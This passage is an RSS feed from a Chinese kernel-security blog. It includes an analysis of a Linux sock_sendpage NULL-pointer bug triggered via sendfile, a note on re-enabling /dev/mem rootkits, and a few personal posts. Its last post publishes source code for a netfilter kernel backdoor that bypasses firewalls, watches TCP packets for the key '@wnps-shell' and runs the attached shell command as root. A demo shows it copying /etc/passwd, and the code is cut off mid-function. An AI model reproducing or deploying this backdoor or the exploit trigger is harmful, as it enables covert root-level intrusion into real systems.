char __user *optval, int __user *optlen), (sock, level, optname, optval, optlen)) \<br>
SOCKCALL_WRAP(name, sendmsg, (struct kiocb *iocb, struct socket *sock, struct msghdr *m, size_t len), \<br>
(iocb, sock, m, len)) \<br>
SOCKCALL_WRAP(name, recvmsg, (struct kiocb *iocb, struct socket *sock, struct msghdr *m, size_t len, int flags), \<br>
(iocb, sock, m, len, flags)) \<br>
SOCKCALL_WRAP(name, mmap, (struct file *file, struct socket *sock, struct vm_area_struct *vma), \<br>
(file, sock, vma)) \<br>
\<br>
static const struct proto_ops name##_ops = {&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
.family&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = fam,&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
.owner&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = THIS_MODULE,&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
.release&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_release,&#160;&#160;&#160;&#160;&#160; \<br>
.bind&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_bind,&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
.connect&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_connect,&#160;&#160;&#160;&#160;&#160; \<br>
.socketpair&#160;&#160;&#160;&#160; = __lock_##name##_socketpair,&#160;&#160; \<br>
.accept&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_accept,&#160;&#160;&#160;&#160;&#160;&#160; \<br>
.getname&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_getname,&#160;&#160;&#160;&#160;&#160; \<br>
.poll&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_poll,&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
.ioctl&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_ioctl,&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
.compat_ioctl&#160;&#160; = __lock_##name##_compat_ioctl, \<br>
.listen&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_listen,&#160;&#160;&#160;&#160;&#160;&#160; \<br>
.shutdown&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_shutdown,&#160;&#160;&#160;&#160; \<br>
.setsockopt&#160;&#160;&#160;&#160; = __lock_##name##_setsockopt,&#160;&#160; \<br>
.getsockopt&#160;&#160;&#160;&#160; = __lock_##name##_getsockopt,&#160;&#160; \<br>
.sendmsg&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_sendmsg,&#160;&#160;&#160;&#160;&#160; \<br>
.recvmsg&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_recvmsg,&#160;&#160;&#160;&#160;&#160; \<br>
.mmap&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = __lock_##name##_mmap,&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
};<br>
<br>
下面继续跟踪这个bug是怎么被触发的：<br>
<br>
回到sys_socket中, 看看前面分配的socket结构是否挂接到sockfs文件系统上的：<br>
<br>
int sock_map_fd(struct socket *sock)<br>
{<br>
struct file *newfile;<br>
// 分配一个没用的fd和file结构<br>
int fd = sock_alloc_fd(&amp;newfile);<br>
<br>
if (likely(fd &gt;= 0)) {<br>
// sock与newfile挂接<br>
int err = sock_attach_fd(sock, newfile);<br>
<br>
if (unlikely(err &lt; 0)) {<br>
put_filp(newfile);<br>
put_unused_fd(fd);<br>
return err;<br>
}<br>
fd_install(fd, newfile);<br>
}<br>
return fd;<br>
}<br>
<br>
&gt;&gt; sock_attach_fd<br>
static int sock_attach_fd(struct socket *sock, struct file *file)<br>
{<br>
struct qstr this;<br>
char name[32];<br>
<br>
this.len = sprintf(name, &quot;[%lu]&quot;, SOCK_INODE(sock)-&gt;i_ino);<br>
this.name = name;<br>
this.hash = SOCK_INODE(sock)-&gt;i_ino;<br>
<br>
file-&gt;f_dentry = d_alloc(sock_mnt-&gt;mnt_sb-&gt;s_root, &amp;this);<br>
if (unlikely(!file-&gt;f_dentry))<br>
return -ENOMEM;<br>
<br>
file-&gt;f_dentry-&gt;d_op = &amp;sockfs_dentry_operations;<br>
d_add(file-&gt;f_dentry, SOCK_INODE(sock));<br>
file-&gt;f_vfsmnt = mntget(sock_mnt);<br>
file-&gt;f_mapping = file-&gt;f_dentry-&gt;d_inode-&gt;i_mapping;<br>
<br>
sock-&gt;file = file;<br>
// 将file的函数操作指针被socket_file_ops赋值。<br>
file-&gt;f_op = SOCK_INODE(sock)-&gt;i_fop = &amp;socket_file_ops;<br>
file-&gt;f_mode = FMODE_READ | FMODE_WRITE;<br>
file-&gt;f_flags = O_RDWR;<br>
file-&gt;f_pos = 0;<br>
// private_data域存放的就是socket结构， 一会会在sys_sendfile中看到。<br>
file-&gt;private_data = sock;<br>
<br>
return 0;<br>
}<br>
<br>
static struct file_operations socket_file_ops = {<br>
.owner =&#160;&#160;&#160;&#160;&#160;&#160;&#160; THIS_MODULE,<br>
.llseek =&#160;&#160;&#160;&#160;&#160;&#160; no_llseek,<br>
.aio_read =&#160;&#160;&#160;&#160; sock_aio_read,<br>
.aio_write =&#160;&#160;&#160; sock_aio_write,<br>
.poll =&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; sock_poll,<br>
.unlocked_ioctl = sock_ioctl,<br>
#ifdef CONFIG_COMPAT<br>
.compat_ioctl = compat_sock_ioctl,<br>
#endif<br>
.mmap =&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; sock_mmap,<br>
.open =&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; sock_no_open,&#160;&#160; /* special open code to disallow open via /proc */<br>
.release =&#160;&#160;&#160;&#160;&#160; sock_close,<br>
.fasync =&#160;&#160;&#160;&#160;&#160;&#160; sock_fasync,<br>
.readv =&#160;&#160;&#160;&#160;&#160;&#160;&#160; sock_readv,<br>
.writev =&#160;&#160;&#160;&#160;&#160;&#160; sock_writev,<br>
.sendpage =&#160;&#160;&#160;&#160; sock_sendpage,&#160; // 将sock_sendpage函数赋值给了.sendpage, sock_sendpage实际上是没有检查空指针， <br>
导致sys_senfile被执行的时候引发了漏洞<br>
.splice_write = generic_splice_sendpage,<br>
};<br>
<br>
看exp中，是如何触发漏洞的：<br>
sendfile(fdout, fdin, NULL, PAGE_SIZE);<br>
<br>
sendfile-&gt;sys_sendfile, linux-2.6.18/fs/read_write.c:<br>
<br>
asmlinkage ssize_t sys_sendfile(int out_fd, int in_fd, off_t __user *offset, size_t count)<br>
{<br>
...<br>
return do_sendfile(out_fd, in_fd, NULL, count, 0);<br>
}<br>
<br>
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,<br>
size_t count, loff_t max)<br>
{<br>
...<br>
retval = in_file-&gt;f_op-&gt;sendfile(in_file, ppos, count, file_send_actor, out_file);<br>
...<br>
}<br>
漏洞由此触发。<br> <a href="http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Kernel">Kernel</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-19  12:00</pubDate>
        <category><![CDATA[Kernel]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html</guid>
</item>

<item>
        <title><![CDATA[阿里巴巴集团漏洞报告提交]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/b217dfd9089a962510df9b7f.html]]></link>
        <description><![CDATA[
		
		<span style="font-size: 10pt;">广告一下：<br>
<br>
<strong><font size="5">  如果您在使用阿里巴巴集团产品（阿里巴巴，淘宝，支付宝，雅虎口碑，阿里妈妈，阿里软件）过程中，发现了安全漏洞，请发送包含漏洞报告的邮件至 <br>
<br>
<font color="#ff0000"><a href="mailto:security@service.alibaba.com">security@service.alibaba.com</a></font> <br>
<br>
我们会在收到报告后的下一工作日内我们会给您做出响应。我们确认漏洞如果是您首先发现的，我们将给予小礼品以示感谢。<br>
对于所有为阿里巴巴产品用户的安全做出贡献的个人和组织，我们表示诚挚的感谢！</font></strong></span> <a href="http://hi.baidu.com/wzt85/blog/item/b217dfd9089a962510df9b7f.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Life">Life</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/b217dfd9089a962510df9b7f.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-19  10:02</pubDate>
        <category><![CDATA[Life]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/b217dfd9089a962510df9b7f.html</guid>
</item>

<item>
        <title><![CDATA[最近在打星际]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/ddfeb1d7c82731d4a144dfb1.html]]></link>
        <description><![CDATA[
		
		为了加强团队之间的合作， 我苦练星际好几天了，&#160; 星际高手指点下啊。 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Life">Life</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/ddfeb1d7c82731d4a144dfb1.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-10  09:41</pubDate>
        <category><![CDATA[Life]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/ddfeb1d7c82731d4a144dfb1.html</guid>
</item>

<item>
        <title><![CDATA[新内核中较重要的一个选项]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/112a37131d0f20d9f7039e9d.html]]></link>
        <description><![CDATA[
		
		因为这个选项， /dev/mem类型的rootkit很可能会再次发挥作用，它默认是没开启的。。。<br>
<br>
kernel hacking -&gt; Filter access to /dev/mem<br>
<br>
不过rhel系列的内核已经开启了这个选项，所以还是很安全的。 大于1m的物理内存是不能被映射的， 因此想读内核空间是不可能的。<br>
<br>
重新升级内核到2.6.30， 没开启filter选项， 又可以读写内核空间了。。。<br>
<br>
看下代码/drivers/char/mem.c:<br>
<br>
/*<br>
* This funcion reads the *physical* memory. The f_pos points directly to the<br>
* memory location.<br>
*/<br>
static ssize_t read_mem(struct file * file, char __user * buf,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   size_t count, loff_t *ppos)<br>
{<br>
...<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   while (count &gt; 0) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   * Handle first page in case it's not aligned<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   if (-p &amp; (PAGE_SIZE - 1))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   sz = -p &amp; (PAGE_SIZE - 1);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   sz = PAGE_SIZE;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   sz = min_t(unsigned long, sz, count);<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   if (!range_is_allowed(p &gt;&gt; PAGE_SHIFT, count))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return -EPERM;<br>
....<br>
<br>
}<br>
<br>
&gt;&gt; range_is_allowed<br>
<br>
#ifdef CONFIG_STRICT_DEVMEM<br>
static inline int range_is_allowed(unsigned long pfn, unsigned long size)<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   u64 from = ((u64)pfn) &lt;&lt; PAGE_SHIFT;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   u64 to = from + size;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   u64 cursor = from;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   while (cursor &lt; to) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   if (!devmem_is_allowed(pfn)) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   printk(KERN_INFO<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   &quot;Program %s tried to access /dev/mem between %Lx-&gt;%Lx.\n&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   current-&gt;comm, from, to);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   cursor += PAGE_SIZE;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   pfn++;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return 1;<br>
}<br>
#else<br>
static inline int range_is_allowed(unsigned long pfn, unsigned long size)<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return 1;<br>
}<br>
#endif<br>
<br>
&gt;&gt; devmem_is_allowed<br>
<pre><span class="stx-comment"><span>/*<br></span><span class="HD"> * <span class="ID">devmem_is_allowed</span>() checks to see if /dev/mem access to a certain address is<br></span><span> * valid. The argument is a physical page number.<br></span><span> *<br></span><span> *<br></span><span> * On x86-64, access has to be given to the first megabyte of ram because that area<br></span><span> * contains bios code and data regions used by X and dosemu and similar apps.<br></span><span> * Access has to be given to non-kernel-ram areas as well, these contain the PCI<br></span><span> * mmio resources as well as potential bios/acpi data regions.<br></span></span><span><span class="stx-comment"> */</span><br></span><span><span class="stx-keyword">int</span> <span class="PB">devmem_is_allowed</span>(<span class="stx-keyword">unsigned</span> <span class="stx-keyword">long</span> pagenr)<br></span><span>{<br></span><span>        <span class="stx-keyword">if</span> (pagenr &lt;= <span class="stx-number">256</span>)<br></span><span>                <span class="stx-keyword">return</span> <span class="stx-number">1</span>;<br></span><span>        <span class="stx-keyword">if</span> (!page_is_ram(pagenr))<br></span><span>                <span class="stx-keyword">return</span> <span class="stx-number">1</span>;<br></span><span>        <span class="stx-keyword">return</span> <span class="stx-number">0</span>;<br></span><span>}<br></span></pre> <a href="http://hi.baidu.com/wzt85/blog/item/112a37131d0f20d9f7039e9d.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Rootkit">Rootkit</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/112a37131d0f20d9f7039e9d.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-07  16:35</pubDate>
        <category><![CDATA[Rootkit]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/112a37131d0f20d9f7039e9d.html</guid>
</item>

<item>
        <title><![CDATA[开始当追星族了]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/efeaacdf03039e1a622798a4.html]]></link>
        <description><![CDATA[
		
		最近发现一个哥们唱歌超好听，艺名叫舒克，  有前途。 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Life">Life</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/efeaacdf03039e1a622798a4.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-20  21:34</pubDate>
        <category><![CDATA[Life]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/efeaacdf03039e1a622798a4.html</guid>
</item>

<item>
        <title><![CDATA[利用netfilter来突破防火墙， 实现远程执行命令]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/b632a6d52e0935cc50da4b53.html]]></link>
        <description><![CDATA[
		
		前几天看了rwrk这个rk的demo,  它就是利用netfilter hook住了进入主机的数据包， hook点是NF_IP_PRE_ROUTING， 因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了， 可以实现防火墙， 嗅探器， 当然也可以用来触发回连后门， wnps就是这么来作的， 因此不管主机防火墙作的规则如何变态， 都有机会穿透它。下面这个demo用来演示分析tcp包的内容， 分析出里面的命令， 然后去执行它， 有点类似以前的icmp, ip包后门， 只不过这些都在内核来完成， 功能更强大。<br>
demo在ubuntu8.10 + 2.6.28上测试成功。<br>
<br>
wzt@wzt-laptop:~$ nc -vv localhost 22<br>
localhost [127.0.0.1] 22 (ssh) open<br>
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1<br>
@wnps-shell:cat /etc/passwd &gt; /home/wzt/pass.log<br>
Protocol mismatch.<br>
sent 49, rcvd 58<br>
<br>
demsg:<br>
[  957.255416] kexec test start ...<br>
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .<br>
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd &gt; /home/wzt/pass.log<br>
[ 1029.692985] <br>
<br>
wzt@wzt-laptop:~$ ls -lht pass.log<br>
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log<br>
<br>
+---------------------------------------------------------------------+<br>
<br>
#include &lt;linux/kernel.h&gt;<br>
#include &lt;linux/init.h&gt;<br>
#include &lt;linux/module.h&gt;<br>
#include &lt;linux/version.h&gt;<br>
#include &lt;linux/string.h&gt;<br>
#include &lt;linux/kmod.h&gt;<br>
#include &lt;linux/vmalloc.h&gt;<br>
#include &lt;linux/workqueue.h&gt;<br>
#include &lt;linux/spinlock.h&gt;<br>
#include &lt;linux/socket.h&gt;<br>
#include &lt;linux/net.h&gt;<br>
#include &lt;linux/in.h&gt;<br>
#include &lt;linux/skbuff.h&gt;<br>
#include &lt;linux/ip.h&gt;<br>
#include &lt;linux/tcp.h&gt;<br>
#include &lt;linux/netfilter.h&gt;<br>
#include &lt;linux/netfilter_ipv4.h&gt;<br>
#include &lt;linux/icmp.h&gt;<br>
#include &lt;net/sock.h&gt;<br>
#include &lt;asm/uaccess.h&gt;<br>
#include &lt;asm/unistd.h&gt;<br>
<br>
#define HOOK_DEBUG<br>
<br>
#ifdef HOOK_DEBUG<br>
#define DbgPrint(format, args...) \<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   printk(&quot;hook: function:%s-L%d: &quot;format, __FUNCTION__, __LINE__, ##args);<br>
#else<br>
#define DbgPrint(format, args...)  do {} while(0);<br>
#endif<br>
<br>
#define TCP_SHELL_KEY&nbsp;&nbsp;   &quot;@wnps-shell&quot;<br>
<br>
#define PORT_NUM&nbsp;&nbsp;&nbsp;   6<br>
#define IP_NUM&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   20<br>
#define BUFF_NUM&nbsp;&nbsp;&nbsp;   512<br>
<br>
MODULE_LICENSE(&quot;GPL&quot;);<br>
MODULE_AUTHOR(&quot;wzt&quot;);<br>
<br>
struct exec_work {<br>
&nbsp;&nbsp;&nbsp;   struct work_struct work;<br>
&nbsp;&nbsp;&nbsp;   char *cmd;<br>
};<br>
<br>
static struct nf_hook_ops nfho;<br>
<br>
int kexec_user_app(void *data)<br>
{<br>
&nbsp;&nbsp;&nbsp;   struct exec_work *work = data;<br>
&nbsp;&nbsp;&nbsp;   int ret;<br>
&nbsp;&nbsp;&nbsp;   char *argv[] = {&quot;/bin/sh&quot;, &quot;-c&quot;, work-&gt;cmd,  NULL};<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   char *envp[] = { &quot;HOME=/&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   &quot;TERM=linux&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   &quot;PATH=/sbin:/usr/sbin:/bin:/usr/bin&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   NULL };<br>
&nbsp;&nbsp;&nbsp;   ret = call_usermodehelper(argv[0], argv, envp, 1);<br>
<br>
&nbsp;&nbsp;&nbsp;   return ret;<br>
}<br>
<br>
int execute_user_command(char *cmd)<br>
{<br>
&nbsp;&nbsp;&nbsp;   struct exec_work *exec_work;<br>
<br>
&nbsp;&nbsp;&nbsp;   exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);<br>
&nbsp;&nbsp;&nbsp;   exec_work-&gt;cmd = kmalloc(1024*sizeof(char), GFP_ATOMIC);<br>
<br>
&nbsp;&nbsp;&nbsp;   INIT_WORK(&amp;exec_work-&gt;work, kexec_user_app);<br>
&nbsp;&nbsp;&nbsp;   strncpy(exec_work-&gt;cmd, cmd, strlen(cmd) + 1);<br>
<br>
&nbsp;&nbsp;&nbsp;   schedule_work(&amp;exec_work-&gt;work);<br>
<br>
&nbsp;&nbsp;&nbsp;   return 0;<br>
}<br>
<br>
unsigned int hook_func(unsigned int hooknum,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   struct sk_buff **skb,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   const struct net_device *in,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   const struct net_device *out,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   int (*okfn)(struct sk_buff *))<br>
{<br>
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(2,6,22)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   struct sk_buff *sk = skb_copy(skb, 1);<br>
#else<br>
&nbsp;&nbsp;&nbsp;   struct sk_buff *sk = *skb;<br>
#endif<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   struct iphdr *ip;<br>
&nbsp;&nbsp;&nbsp;   struct tcphdr *tcphdr;<br>
&nbsp;&nbsp;&nbsp;   char buf[BUFF_NUM], *data = NULL;<br>
&nbsp;&nbsp;&nbsp;   char *p; <br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   if (!sk)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return NF_ACCEPT;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   <br>
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(2,6,22)<br>
&nbsp;&nbsp;&nbsp;   ip = ip_hdr(sk);<br>
#else<br>
&nbsp;&nbsp;&nbsp;   ip = sk-&gt;nh.iph;<br>
#endif<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   switch (ip-&gt;protocol) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   case 1:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return NF_ACCEPT;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   case 6:<br>
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(2,6,22)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   tcphdr = ip_hdr(sk);<br>
<br>
